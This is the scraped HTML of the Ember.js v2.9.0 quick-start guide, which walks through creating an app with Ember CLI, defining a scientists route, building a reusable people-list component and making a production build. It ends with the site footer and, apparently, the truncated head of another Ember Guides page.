id="toc_create-a-new-application">Create a New Application</h2> <section aria-labelledby="toc_create-a-new-application"> <p>Once you've installed Ember CLI via npm, you will have access to a new <code>ember</code> command in your terminal. You can use the <code>ember new</code> command to create a new application.</p> <pre><code class="bash language-bash">ember new ember-quickstart </code></pre> <p>This one command will create a new directory called <code>ember-quickstart</code> and set up a new Ember application inside of it. Out of the box, your application will include:</p> <ul> <li>A development server.</li> <li>Template compilation.</li> <li>JavaScript and CSS minification.</li> <li>ES2015 features via Babel.</li> </ul> <p>By providing everything you need to build production-ready web applications in an integrated package, Ember makes starting new projects a breeze.</p> <p>Let's make sure everything is working properly. <code>cd</code> into the application directory <code>ember-quickstart</code> and start the development server by typing:</p> <pre><code class="bash language-bash">cd ember-quickstart ember server </code></pre> <p>After a few seconds, you should see output that looks like this:</p> <pre><code class="text language-text">Livereload server on http://localhost:49152 Serving on http://localhost:4200/ </code></pre> <p>(To stop the server at any time, type Ctrl-C in your terminal.)</p> <p>Open <a href="http://localhost:4200"><code>http://localhost:4200</code></a> in your browser of choice. You should see an Ember welcome page and not much else. Congratulations! You just created and booted your first Ember app.</p> <p>Let's create a new template using the <code>ember generate</code> command.</p> <pre><code class="bash language-bash">ember generate template application </code></pre> <p>The <code>application</code> template is always on screen while the user has your application loaded. In your editor, open <code>app/templates/application.hbs</code> and add the following:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/application.hbs>&lt;h1&gt;PeopleTracker&lt;/h1&gt; {{outlet}} </code></pre> <p>Notice that Ember detects the new file and automatically reloads the page for you in the background. You should see that the welcome page has been replaced by "PeopleTracker". You also added an <code>{{outlet}}</code> to this page, which means that any nested route will be rendered in that place.</p> </section> <h2 id="toc_define-a-route">Define a Route</h2> <section aria-labelledby="toc_define-a-route"> <p>Let's build an application that shows a list of scientists. To do that, the first step is to create a route. For now, you can think of routes as being the different pages that make up your application.</p> <p>Ember comes with <em>generators</em> that automate the boilerplate code for common tasks. To generate a route, type this in your terminal:</p> <pre><code class="bash language-bash">ember generate route scientists </code></pre> <p>You'll see output like this:</p> <pre><code class="text language-text">installing route create app/routes/scientists.js create app/templates/scientists.hbs updating router add route scientists installing route-test create tests/unit/routes/scientists-test.js </code></pre> <p>That's Ember telling you that it has created:</p> <ol> <li>A template to be displayed when the user visits <code>/scientists</code>.</li> <li>A <code>Route</code> object that fetches the model used by that template.</li> <li>An entry in the application's router (located in <code>app/router.js</code>).</li> <li>A unit test for this route.</li> </ol> <p>Open the newly-created template in <code>app/templates/scientists.hbs</code> and add the following HTML:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/scientists.hbs>&lt;h2&gt;List of Scientists&lt;/h2&gt; </code></pre> <p>In your browser, open <a href="http://localhost:4200/scientists"><code>http://localhost:4200/scientists</code></a>. You should see the <code>&lt;h2&gt;</code> you put in the <code>scientists.hbs</code> template, right below the <code>&lt;h1&gt;</code> from our <code>application.hbs</code> template.</p> <p>Now that we've got the <code>scientists</code> template rendering, let's give it some data to render. We do that by specifying a <em>model</em> for that route, and we can specify a model by editing <code>app/routes/scientists.js</code>.</p> <p>We'll take the code created for us by the generator and add a <code>model()</code> method to the <code>Route</code>:</p> <pre><code class="javascript language-javascript"data-filename=app/routes/scientists.js data-diff="+4,+5,+6">import Ember from 'ember'; export default Ember.Route.extend({ model() { return ['Marie Curie', 'Mae Jemison', 'Albert Hofmann']; } }); </code></pre> <p>(This code example uses the latest features in JavaScript, some of which you may not be familiar with. Learn more with this <a href="https://ponyfoo.com/articles/es6">overview of the newest JavaScript features</a>.)</p> <p>In a route's <code>model()</code> method, you return whatever data you want to make available to the template. If you need to fetch data asynchronously, the <code>model()</code> method supports any library that uses <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">JavaScript Promises</a>.</p> <p>Now let's tell Ember how to turn that array of strings into HTML. Open the <code>scientists</code> template and add some Handlebars code to loop through the array and print it:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/scientists.hbs data-diff="+3,+4,+5,+6,+7">&lt;h2&gt;List of Scientists&lt;/h2&gt; &lt;ul&gt; {{#each model as |scientist|}} &lt;li&gt;{{scientist}}&lt;/li&gt; {{/each}} &lt;/ul&gt; </code></pre> <p>Here, we use the <code>each</code> helper to loop over each item in the array we provided from the <code>model()</code> hook and print it inside an <code>&lt;li&gt;</code> element.</p> </section> <h2 id="toc_create-a-ui-component">Create a UI Component</h2> <section aria-labelledby="toc_create-a-ui-component"> <p>As your application grows and you notice you are sharing UI elements between multiple pages (or using them multiple times on the same page), Ember makes it easy to refactor your templates into reusable components.</p> <p>Let's create a <code>people-list</code> component that we can use in multiple places to show a list of people.</p> <p>As usual, there's a generator that makes this easy for us. Make a new component by typing:</p> <pre><code class="bash language-bash">ember generate component people-list </code></pre> <p>Copy and paste the <code>scientists</code> template into the <code>people-list</code> component's template and edit it to look as follows:</p> <pre><code class="handlebars language-handlebars"data-filename=app/templates/components/people-list.hbs>&lt;h2&gt;{{title}}&lt;/h2&gt; &lt;ul&gt; {{#each people as |person|}} &lt;li&gt;{{person}}&lt;/li&gt; {{/each}} &lt;/ul&gt; </code></pre> <p>Note that we've changed the title from a hard-coded string ("List of Scientists") to a dynamic property (<code>{{title}}</code>). We've also renamed <code>scientist</code> to the more-generic <code>person</code>, decreasing the coupling of our component to where it's used.</p> <p>Save this template and switch back to the <code>scientists</code> template. Replace all our old code with our new componentized version. Components look like HTML tags but instead of using angle brackets (<code>&lt;tag&gt;</code>) they use double curly braces (<code>{{component}}</code>). We're going to tell our component:</p> <ol> <li>What title to use, via the <code>title</code> attribute.</li> <li>What array of people to use, via the <code>people</code> attribute. We'll provide this route's <code>model</code> as the list of people.</li> </ol> <pre><code class="handlebars language-handlebars"data-filename=app/templates/scientists.hbs data-diff="-1,-2,-3,-4,-5,-6,-7,+8">&lt;h2&gt;List of Scientists&lt;/h2&gt; &lt;ul&gt; {{#each model as |scientist|}} &lt;li&gt;{{scientist}}&lt;/li&gt; {{/each}} &lt;/ul&gt; {{people-list title="List of Scientists" people=model}} </code></pre> <p>Go back to your browser and you should see that the UI looks identical. The only difference is that now we've componentized our list into a version that's more reusable and more maintainable.</p> <p>You can see this in action if you create a new route that shows a different list of people. As an exercise for the reader, you may try to create a <code>programmers</code> route that shows a list of famous programmers. By re-using the <code>people-list</code> component, you can do it in almost no code at all.</p> </section> <h2 id="toc_building-for-production">Building For Production</h2> <section aria-labelledby="toc_building-for-production"> <p>Now that we've written our application and verified that it works in development, it's time to get it ready to deploy to our users. To do so, run the following command:</p> <pre><code class="bash language-bash">ember build --env production </code></pre> <p>The <code>build</code> command packages up all of the assets that make up your application&mdash;JavaScript, templates, CSS, web fonts, images, and more.</p> <p>In this case, we told Ember to build for the production environment via the <code>--env</code> flag. This creates an optimized bundle that's ready to upload to your web host. Once the build finishes, you'll find all of the concatenated and minified assets in your application's <code>dist/</code> directory.</p> <p>The Ember community values collaboration and building common tools that everyone relies on. If you're interested in deploying your app to production in a fast and reliable way, check out the <a href="http://ember-cli-deploy.com/">Ember CLI Deploy</a> addon.</p> <p>If you deploy your application to an Apache web server, first create a new virtual host for the application. To make sure all routes are handled by index.html, add the following directive to the application's virtual host configuration</p> <pre><code>FallbackResource index.html </code></pre> <!-- eof - needed for pages that end in a code block --> </section> </div> <footer id="ember187057" class="ember-view"> <a href="/v2.9.0/index/" id="ember187058" class="previous-guide ember-view">Guides and Tutorials</a> <a href="/v2.9.0/getting-started/index" id="ember187059" class="next-guide ember-view"> Installing Ember </a></footer> </article> </main> <footer id="ember187060" class="es-footer ember-view" role="contentinfo"><div class="footer responsive"> <div class="container"> <div id="ember187061" class="footer-info ember-view"> Copyright 2020 <a href="http://tilde.io">Tilde Inc.</a> <br> <a href="https://emberjs.com/team">Team</a> | <a href="https://emberjs.com/sponsors">Sponsors</a> <br> <a href="https://emberjs.com/security">Security</a> | <a href="https://emberjs.com/legal">Legal</a> | <a href="https://emberjs.com/brand">Brand</a> <br> <a href="https://emberjs.com/guidelines">Community Guidelines</a> <!----></div> <div id="ember187062" class="footer-statement ember-view"> <p class="footer-tagline">Ember.js is free, open source and always will be.</p> <div class="footer-social"> <a href="http://twitter.com/emberjs" title="Twitter"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M939.5 227.941q-37 54-90 93v23q0 73-21 145t-64 139q-43 67-103 117t-144 82q-84 32-181 30-151 0-276-81 19 2 43 2 126 0 224-77-59-1-105-36t-64-89q19 3 34 3 24 0 48-6-63-13-104-62t-41-115v-2q38 21 82 23-37-25-59-64t-22-86q0-49 25-91 68 83 164 133t208 55q-5-21-5-41 0-75 53-127t127-53q79 0 132 57 61-12 115-44-21 64-80 100 52-6 104-28z"/></svg> </a> <a href="https://github.com/emberjs/ember.js" title="GitHub"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1000 1000"><path d="M392 643q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm357 0q0 22-7 45t-24 43q-17 20-40 19t-41-19q-18-18-24-43t-7-45q-1-20 7-46t24-43q16-17 41-19t40 19q15 21 24 43t7 46zm90 0q0-67-39-114t-104-47q-23 0-109 12-40 6-88 6t-87-6q-85-12-109-12-66 0-104 47t-39 114q0 49 18 85t45 58q27 22 68 33t78 17q37 6 83 4h94q46 0 83-4t78-17q41-13 69-33t45-58q17-38 18-85zm125-99q0 116-34 185-22 43-59 74t-79 48q-42 17-95 27t-96 12q-43 2-93 3-43 0-79-2t-82-7q-46-5-85-17t-77-29q-38-17-67-45t-48-64q-35-69-35-185 0-132 76-221-15-45-15-95 0-64 28-121 61 0 106 22t106 69q82-20 172-20 83 0 157 18 58-46 104-67t105-22q29 57 29 121 0 49-15 94 76 89 76 222z"/></svg> </a> <a href="https://discordapp.com/invite/zT3asNS" title="Discord"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 245 240"><path d="M104.4 103.9c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1.1-6.1-4.5-11.1-10.2-11.1zm36.5 0c-5.7 0-10.2 5-10.2 11.1s4.6 11.1 10.2 11.1c5.7 0 10.2-5 10.2-11.1s-4.5-11.1-10.2-11.1z"/><path class="st0" d="M189.5 20h-134C44.2 20 35 29.2 35 40.6v135.2c0 11.4 9.2 20.6 20.5 20.6h113.4l-5.3-18.5 12.8 11.9 12.1 11.2 21.5 19V40.6c0-11.4-9.2-20.6-20.5-20.6zm-38.6 130.6s-3.6-4.3-6.6-8.1c13.1-3.7 18.1-11.9 18.1-11.9-4.1 2.7-8 4.6-11.5 5.9-5 2.1-9.8 3.5-14.5 4.3-9.6 1.8-18.4 1.3-25.9-.1-5.7-1.1-10.6-2.7-14.7-4.3-2.3-.9-4.8-2-7.3-3.4-.3-.2-.6-.3-.9-.5-.2-.1-.3-.2-.4-.3-1.8-1-2.8-1.7-2.8-1.7s4.8 8 17.5 11.8c-3 3.8-6.7 8.3-6.7 8.3-22.1-.7-30.5-15.2-30.5-15.2 0-32.2 14.4-58.3 14.4-58.3 14.4-10.8 28.1-10.5 28.1-10.5l1 1.2c-18 5.2-26.3 13.1-26.3 13.1s2.2-1.2 5.9-2.9c10.7-4.7 19.2-6 22.7-6.3.6-.1 1.1-.2 1.7-.2 6.1-.8 13-1 20.2-.2 9.5 1.1 19.7 3.9 30.1 9.6 0 0-7.9-7.5-24.9-12.7l1.4-1.6s13.7-.3 28.1 10.5c0 0 14.4 26.1 14.4 58.3 0 0-8.5 14.5-30.6 15.2z"/></svg> </a> </div> </div> <div id="ember187063" class="footer-contributions ember-view"> <div class="contributor"> <p>Hosted by:</p> <a href="https://www.heroku.com/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 72.5 80.5" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M65.05.25H7.45a7.2 7.2 0 0 0-7.2 7.2v65.6a7.2 7.2 0 0 0 7.2 7.2h57.6a7.2 7.2 0 0 0 7.2-7.2V7.45a7.2 7.2 0 0 0-7.2-7.2zm-46.8 68v-16l9 8zm28 0V44.36c0-1.87-.94-4.11-5-4.11-8.13 0-17.26 4.09-17.35 4.13l-5.65 2.56V12.25h8V35a50.63 50.63 0 0 1 15-2.71c4.94 0 7.9 1.94 9.52 3.57a12.48 12.48 0 0 1 3.48 8.43v24zm2-43h-8a31.1 31.1 0 0 0 6-13h8a23.44 23.44 0 0 1-6 13z" id="black"/></svg> </a> </div> <div class="contributor"> <p>CDN provided by:</p> <a href="https://www.fastly.com"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 1626 640" class="contributor-logo"><defs><style>.cls-1{fill:#999}</style></defs><path class="cls-1" d="M1105.2 71.3v421.1h126.4v-64.3h-41.8V7.2h-84.7l.1 64.1zM6.9 428.1h43V224.9h-43V169l43-7.1v-56.6c0-68.5 14.9-98.2 102.3-98.2 18.9 0 41.2 2.8 60.8 6.3l-11.6 68.9c-13.3-2.1-19.8-2.5-28.2-2.5-30.8 0-38.6 3.1-38.6 33.1V162h63.9v62.9h-63.9V428h42.5v64.3H6.9zM1062.1 407.7c-13.2 2.8-24.8 2.5-33.2 2.7-34.8.9-31.8-10.6-31.8-43.5v-142h66.3V162H997V7.2h-84.7v377.3c0 74.1 18.3 107.9 98 107.9 18.9 0 44.8-4.9 64.4-9zM1588.2 428.4a32 32 0 1 1-32.1 32 31.95 31.95 0 0 1 32.1-32m0 58.9a26.75 26.75 0 1 0 0-53.5 26.75 26.75 0 0 0 0 53.5m5.9-11.2l-6.5-9.5h-4.5v9.5h-7.2v-31.4h13.1c7.8 0 12.6 3.9 12.6 10.9 0 5.1-2.6 8.6-6.6 9.8l7.8 10.8h-8.7zm-10.9-15.8h5.7c3.3 0 5.5-1.3 5.5-4.7s-2.2-4.6-5.3-4.6h-5.9v9.3zM806.6 224.8v-11.3c-25.6-4.7-51.1-4.7-64.9-4.7-39.4 0-44.2 20.9-44.2 32.2 0 16 5.5 24.7 48.2 34 62.4 14 125.1 28.6 125.1 106 0 73.4-37.8 111.3-117.3 111.3-53.2 0-104.8-11.4-144.2-21.4v-63.2h64.1v11.2c27.6 5.3 56.5 4.8 71.6 4.8 42 0 48.8-22.6 48.8-34.6 0-16.7-12.1-24.7-51.5-32.7-74.2-12.7-133.2-38-133.2-113.5 0-71.4 47.7-99.4 127.3-99.4 53.9 0 94.8 8.4 134.2 18.4v62.8h-64zM416.9 280.4l-6.4-6.4-32.7 28.5a15.53 15.53 0 0 0-5.3-.9 16.4 16.4 0 1 0 16 16.4 19.32 19.32 0 0 0-.7-4.9z"/><path class="cls-1" d="M546.6 407.7l-.1-263.6h-84.7v24.7a173.6 173.6 0 0 0-57.6-21.8h.5v-29.2H415V96.3h-85.3v21.5H340V147h.6A174.1 174.1 0 1 0 462 467.4l15.3 24.9h89.5v-84.7h-20.2zm-169.1-.1v-10h-10.1v9.9a89.59 89.59 0 0 1-84.2-84.7h10.1v-10.1h-10a89.55 89.55 0 0 1 84.1-84v10h10.1v-10a89.67 89.67 0 0 1 84.4 81.5v2.9h-10.2v10.1h10.2v2.8a89.6 89.6 0 0 1-84.4 81.6zM1446 162h174.7v62.9h-41.8l-107.1 263.6c-30.7 74-81.1 143.7-157.9 143.7-18.9 0-44-2.1-61.5-6.3l7.7-76.9a218.08 218.08 0 0 0 33.5 3.5c35.6 0 75.8-22.1 88.4-60.5l-108.6-267.1h-41.8V162h174.8v62.9h-41.7l61.5 151.3 61.5-151.3H1446z"/></svg> </a> </div> <div class="contributor"> <p>Tested with:</p> <a href="https://percy.io"> <svg viewBox="0 0 423 125" fill="none" xmlns="http://www.w3.org/2000/svg" class="contributor-logo"><path fill-rule="evenodd" clip-rule="evenodd" d="M400.648 112.355c-.232.748-.608 1.273-1.127 1.568l-.15.076c-.562.234-1.163.2-1.871.023-2.286-.574-12.884-1.789-8.645-14.407l2.514-7.485-.57-1.455-2.755-6.677-17.26-40.878c-.38-.848-.242-1.62.097-2.147.351-.549.971-.826 1.846-.842h9.821c.673 0 1.245.185 1.684.53.44.348.762.878 1.035 1.531l12.67 30.214 9.088-30.13c.195-.72.54-1.268 1.004-1.632.455-.355 1.037-.532 1.716-.532h10.487c.89 0 1.522.257 1.894.738.372.499.422 1.22.146 2.149l-14.103 45.12-5.44 17.506-2.081 6.73zM359.293 71.74h10.723c1.657 0 2.632 1.076 2.047 2.74-3.022 10.177-12.575 17.223-23.981 17.223-14.817 0-25.831-11.255-25.831-25.835s11.014-25.833 25.831-25.833c11.406 0 20.959 7.045 23.981 17.222.585 1.663-.39 2.74-2.047 2.74h-10.723c-1.268 0-2.145-.587-2.925-1.663-1.754-2.446-4.776-3.817-8.286-3.817-6.335 0-11.21 4.6-11.21 11.351 0 6.753 4.875 11.352 11.21 11.352 3.51 0 6.532-1.37 8.286-3.718.78-1.175 1.559-1.762 2.925-1.762zm-52.512-29.06v2.55c1.212-2.158 3.978-5.221 11.198-5.123.524.006.945.206 1.255.53.455.474.673 1.115.673 1.943v11.96c0 .812-.169 1.42-.522 1.826-.337.404-.842.608-1.497.608-1.431-.05-2.794.1-4.124.455a9.778 9.778 0 0 0-3.551 1.791c-1.043.845-1.881 1.98-2.49 3.362-.619 1.404-.933 3.108-.942 5.136l-.069 12.755c-.072 13.321-10.191 11.303-12.553 11.166-.806-.046-1.432-.219-1.868-.658-.438-.44-.657-1.065-.657-1.875V42.68c0-.81.219-1.436.657-1.875.437-.44 1.061-.658 1.868-.658h10.097c.807 0 1.431.219 1.868.658.438.44.657 1.064.657 1.875zm-43.748-2.622c3.564.017 6.835.666 9.816 1.951a23.428 23.428 0 0 1 7.758 5.398c2.185 2.326 3.886 5.04 5.085 8.161 1.198 3.122 1.814 6.536 1.83 10.243 0 .634-.016 1.252-.065 1.838a65.191 65.191 0 0 1-.129 1.772c-.097.78-.389 1.348-.842 1.707-.454.358-1.053.536-1.782.536h-32.457c.615 1.919 1.474 3.479 2.607 4.682a10.428 10.428 0 0 0 3.952 2.602c1.507.552 3.11.812 4.811.812 1.376-.016 2.704-.227 3.968-.665 1.247-.44 2.332-1.026 3.223-1.773.47-.39.94-.7 1.393-.927.47-.227 1.004-.341 1.619-.341l9.329-.097c.892.016 1.539.276 1.928.78.372.504.388 1.154.016 1.95-1.279 2.83-2.981 5.203-5.102 7.106-2.122 1.918-4.584 3.348-7.386 4.325-2.801.958-5.862 1.447-9.182 1.447-4.05-.018-7.694-.683-10.933-1.985-3.255-1.3-6.025-3.104-8.324-5.446-2.317-2.324-4.082-5.057-5.313-8.161-1.23-3.122-1.847-6.504-1.863-10.162.016-3.658.649-7.04 1.912-10.16 1.263-3.107 3.044-5.838 5.36-8.163 2.301-2.34 5.054-4.146 8.228-5.446 3.175-1.3 6.689-1.967 10.543-1.984zm-68.18 5.316a22.761 22.761 0 0 1 6.533-3.865 21.372 21.372 0 0 1 7.61-1.408c6.452 0 12.76 2.895 16.989 7.575 4.223 4.673 6.836 11.128 6.836 18.253s-2.613 13.579-6.836 18.252c-4.23 4.679-10.537 7.575-16.989 7.575-4.725 0-9.683-1.492-13.137-4.816l.01 15.843c.008 13.321-10.192 11.302-12.554 11.166-.803-.046-1.432-.221-1.868-.66-.436-.437-.656-1.066-.656-1.874l-.032-68.665c0-.826.224-1.477.674-1.928.449-.451 1.094-.677 1.92-.677h8.871c.827 0 1.472.226 1.92.677.45.45.665 1.095.675 1.928l.033 2.624zm25.217 20.418c0-6.283-5.041-11.377-11.26-11.377-6.22 0-11.26 5.094-11.26 11.377 0 6.285 5.04 11.379 11.26 11.379 6.219 0 11.26-5.094 11.26-11.379zm36.016-10.825c-1.83 1.268-3.126 3.138-3.887 5.577h20.811c-.518-1.838-1.295-3.317-2.333-4.422a9.086 9.086 0 0 0-3.562-2.374 11.773 11.773 0 0 0-4.178-.716c-2.738.017-5.038.651-6.85 1.935zM153.654 30.725a5.164 5.164 0 0 0-4.903-3.74 5.184 5.184 0 0 0-1.999.362 22.04 22.04 0 0 1-7.383 1.483c-6.346-4.758-21.736-16.252-30.872-22.71 0 0 1.23 3.765 2.897 10.788 0 0-14.478-8.459-24.102-14.931 0 0 3.508 7.442 3.768 9.837 0 0-11.542-2.188-28.406-6.126 0 0 12.47 7.214 15.497 11.48 0 0-15.13-1.284-32.951-2.61 0 0 8.963 4.708 13.31 8.46 0 0-16.213 2.082-28.542 2.466 0 0 9.013 7.263 12.64 10.768 0 0-15.487 5.773-34.041 16.062 0 0 9.67.646 16.611 2.98 0 0-8.546 7.246-23.882 23.932 0 0 9.664-.186 17.475-1.098 0 0-6.266 9.29-14.148 26.035 0 0 5.261-3.185 10.322-4.283 0 0 .21 18.955 10.641 22.173l.01-.012c.51.17.999.234 1.424.241a5.854 5.854 0 0 0 1.595-.204c3.343-.883 5.918-4.082 8.898-7.787h.001c.976-1.213 1.978-2.458 3.041-3.671a25.118 25.118 0 0 1 4.595-4.737c3.758-2.955 8.926-5.15 15.158-4.127 7.023.709 11.247 7.71 14.643 13.339 2.567 4.256 4.595 7.617 7.501 7.987.204.025.408.04.606.043 4.45.078 6.104-5.028 8.198-11.493v-.002l.428-1.32.054.109c1.557-5.232 4.498-10.85 8.064-15.903 4.844-6.865 11.038-12.967 16.931-15.749l.015.03c3.204-1.762 6.574-3.42 9.895-5.054l.003-.002c10.295-5.064 20.018-9.848 24.983-17.277 2.483-3.716 3.762-8.306 3.802-13.644.035-4.788-.947-9.22-1.777-12.095zM110.69 86.593c-2.961 2.678-5.868 6.012-8.437 9.652-4.237 6.006-7.395 12.617-8.389 18.136 2.79 4.723 5.332 7.065 7.742 7.146l.076.001c2.217.039 3.704-1.408 4.422-4.3.536-2.158.694-5.134.878-8.58v-.004c.333-6.28.766-14.373 3.708-22.051zm-68.51 27.086l-.032-.084a21.944 21.944 0 0 1 4.857-5.354c3.071-2.414 7.087-4.161 11.896-3.649a133.762 133.762 0 0 1-1.91 4.6c-2.371 5.407-5.193 10.988-8.14 11.396a3.457 3.457 0 0 1-.527.032c-2.302-.04-4.311-2.31-6.143-6.941zm59.08-88.187L88.55 17.127l21.058 7.834-8.348.53zm-35.4 3.097l20.265 5.502 8.926-2.757-29.19-2.745zm36.116 10.72l4.4-3.177-16.858 2.5 12.458.676zm-28.803-.503l-7.042 4.488-19.263-2.153 26.305-2.335zm21.54 11.899l7.13-3.782-26.304 2.336 19.174 1.446zM75.185 54.7l-5.062 7.91-24.738 5.525 29.8-13.435zm-30.864 4.385L25.105 67.05l23.7-16.185-4.484 8.221zm-10.605 9.767l-.897 8.287-11.187 13.38 12.084-21.667z" fill="#3F3A40"/></svg> </a> </div> <div class="contributor"> <p>Resolved with:</p> <a href="https://dnsimple.com/resolving/emberjs"> <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 613.33331 160" height="60" width="100" class="contributor-logo"><defs><clipPath id="a"><path d="M568.809 1050.45c-20.801 0-41.598-1.1-61.301-5.48V841.367c-28.461 10.946-61.301 16.418-105.086 16.418C246.98 857.785 120 751.605 120 580.84c0-175.145 116.031-271.477 286.801-271.477 84.285 0 170.765 22.989 224.402 51.45v684.157c-20.801 4.38-42.691 5.48-62.394 5.48zm-164.2-632.716c-94.14 0-158.722 63.493-158.722 165.293 0 100.707 68.961 165.293 160.914 165.293 37.215 0 71.152-4.379 100.707-22.988V434.156c-32.84-12.043-66.774-17.515-102.899-16.422zm611.911 442.243c-111.653 0-202.512-43.789-248.485-82.102v-452.09c20.797-4.379 41.598-5.472 61.301-5.472 20.797 0 42.691 1.093 62.394 5.472v391.887c24.083 14.23 66.774 28.461 114.94 28.461 79.91 0 125.88-36.125 125.88-131.36V325.785c21.9-4.379 41.6-5.472 62.4-5.472 19.7 0 41.6 1.093 62.39 5.472v318.543c0 119.317-73.34 215.649-240.82 215.649zm554.99-551.707c142.3 0 225.5 65.679 225.5 174.05 0 102.899-82.1 141.211-194.85 158.723-88.67 14.23-111.66 30.652-111.66 64.586 0 32.84 28.46 53.637 94.14 53.637 62.4 0 116.04-18.61 152.16-39.407 25.18 19.704 41.6 50.356 47.07 88.668-33.93 24.082-100.71 50.352-194.85 50.352-131.36 0-217.83-65.676-217.83-162.008 0-109.465 87.57-143.398 179.52-157.629 93.05-14.23 122.6-33.933 122.6-68.965 0-35.027-26.27-62.394-99.61-62.394-82.1 0-128.07 28.461-159.82 51.449-26.27-16.418-47.07-45.977-56.92-85.383 29.55-25.176 98.52-65.679 214.55-65.679zm398.45 614.101c42.69 0 78.82 35.027 78.82 78.809 0 43.79-36.13 78.82-78.82 78.82-44.88 0-81-35.03-81-78.82 0-43.782 36.12-78.809 81-78.809zm0-602.058c20.8 0 41.6 1.093 61.3 5.472v517.77c-19.7 4.379-41.59 5.472-61.3 5.472-20.8 0-41.59-1.093-62.39-5.472v-517.77c20.8-4.379 42.69-5.472 62.39-5.472zm791.43 539.664c-70.05 0-133.54-27.368-176.23-60.207-38.32 37.218-95.24 60.207-169.68 60.207-108.36 0-202.5-45.977-244.1-82.102v-452.09c20.8-4.379 41.6-5.472 61.3-5.472 20.8 0 42.69 1.093 62.39 5.472v391.887c27.37 16.418 65.68 28.461 106.18 28.461 84.29 0 116.04-53.641 116.04-128.074V325.785c20.8-4.379 41.6-5.472 63.49-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 16.422-2.19 32.84-5.47 48.168 25.17 20.797 60.2 42.692 110.55 42.692 84.29 0 117.13-53.641 117.13-128.074V325.785c19.71-4.379 40.51-5.472 62.4-5.472 19.7 0 41.6 1.093 61.3 5.472v329.488c0 112.75-76.63 204.704-226.6 204.704zm591.12-1.098c-98.52 0-180.62-38.313-230.97-79.91V123.273c21.89-4.378 41.59-5.472 62.39-5.472 20.8 0 41.6 1.094 61.3 5.472v201.418c32.84-10.949 67.87-15.328 111.66-15.328 144.49 0 274.75 101.805 274.75 276.95 0 179.523-120.41 272.566-279.13 272.566zm-4.38-438.953c-40.5 0-73.34 6.566-102.9 20.797v279.136c31.75 17.516 65.68 25.176 101.81 25.176 95.23 0 159.82-60.203 159.82-159.816 0-102.899-64.59-165.293-158.73-165.293zm458.66-99.613c20.8 0 42.69 1.093 62.39 5.472v718.095c-20.79 4.37-42.69 5.47-63.48 5.47-20.81 0-41.6-1.1-61.31-5.47V325.785c21.9-4.379 42.7-5.472 62.4-5.472zM4480 624.625c0 139.02-98.52 234.254-237.54 234.254-147.78 0-260.53-116.031-260.53-276.945 0-169.672 111.66-272.571 267.1-272.571 103.99 0 171.86 38.313 215.65 73.344-4.38 31.746-26.28 66.773-53.64 84.289-33.94-24.082-77.72-53.641-153.25-53.641-86.48 0-139.02 52.543-148.88 137.926h366.71c3.29 28.461 4.38 45.977 4.38 73.344zm-369.99 8.758c8.76 71.152 55.83 124.789 132.45 124.789 84.29-1.094 116.03-63.488 116.03-124.789z" clip-rule="evenodd"/></clipPath><clipPath id="b"><path d="M0 0h4600v1200H0z"/></clipPath></defs><g clip-path="url(#a)" transform="matrix(.13333 0 0 -.13333 0 160)"><g clip-path="url(#b)"><path d="M20 17.8h4560V1180H20z"/></g></g></svg> </a> </div> </div> </div> </div> </footer> <script type="x/boundary" id="fastboot-body-end"></script> <script src="/assets/vendor-43f2851966bb68f3f8b11728eabc662f.js"></script> <script src="/assets/ember-guides-282695ea5f03fe0586ac6b0c02eff6f2.js"></script> </body> </html>
{ "pile_set_name": "Github" }
<!DOCTYPE html> <html> <head> <meta charset="utf-8"> <meta http-equiv="X-UA-Compatible" content="IE=edge"> <meta name="viewport" content="width=device-width, initial-scale=1"> <meta name="ember-guides/config/environment" content="%7B%22modulePrefix%22%3A%22ember-guides%22%2C%22environment%22%3A%22production%22%2C%22rootURL%22%3A%22%2F%22%2C%22locationType%22%3A%22trailing-history%22%2C%22historySupportMiddleware%22%3Atrue%2C%22EmberENV%22%3A%7B%22FEATURES%22%3A%7B%7D%2C%22EXTEND_PROTOTYPES%22%3A%7B%22Date%22%3Afalse%7D%2C%22_APPLICATION_TEMPLATE_WRAPPER%22%3Afalse%2C%22_DEFAULT_ASYNC_OBSERVERS%22%3Atrue%2C%22_JQUERY_INTEGRATION%22%3Afalse%2C%22_TEMPLATE_ONLY_GLIMMER_COMPONENTS%22%3Atrue%7D%2C%22APP%22%3A%7B%22name%22%3A%22ember-guides%22%2C%22version%22%3A%223.7.0%2Ba7598d50%22%7D%2C%22ember-meta%22%3A%7B%22description%22%3A%22Ember.js%20helps%20developers%20be%20more%20productive%20out%20of%20the%20box.%20Designed%20with%20developer%20ergonomics%20in%20mind%2C%20its%20friendly%20APIs%20help%20you%20get%20your%20job%20done%E2%80%94fast.%22%7D%2C%22guidemaker%22%3A%7B%22title%22%3A%22Ember%20Guides%22%2C%22sourceRepo%22%3A%22https%3A%2F%2Fgithub.com%2Fember-learn%2Fguides-source%22%7D%2C%22algolia%22%3A%7B%22algoliaId%22%3A%22Y1OMR4C7MF%22%2C%22algoliaKey%22%3A%225d01c83734dc36754d9e94cbf6f8964d%22%2C%22indexName%22%3A%22ember-guides%22%7D%2C%22showdown%22%3A%7B%22ghCompatibleHeaderId%22%3Atrue%2C%22prefixHeaderId%22%3A%22toc_%22%7D%2C%22deprecationsGuideURL%22%3A%22https%3A%2F%2Fwww.emberjs.com%2Fdeprecations%2F%22%2C%22metricsAdapters%22%3A%5B%7B%22name%22%3A%22GoogleAnalytics%22%2C%22environments%22%3A%5B%22production%22%5D%2C%22config%22%3A%7B%22id%22%3A%22UA-27675533-1%22%2C%22require%22%3A%5B%22linkid%22%5D%7D%7D%5D%2C%22infoBanner%22%3A%7B%22content%22%3A%22Em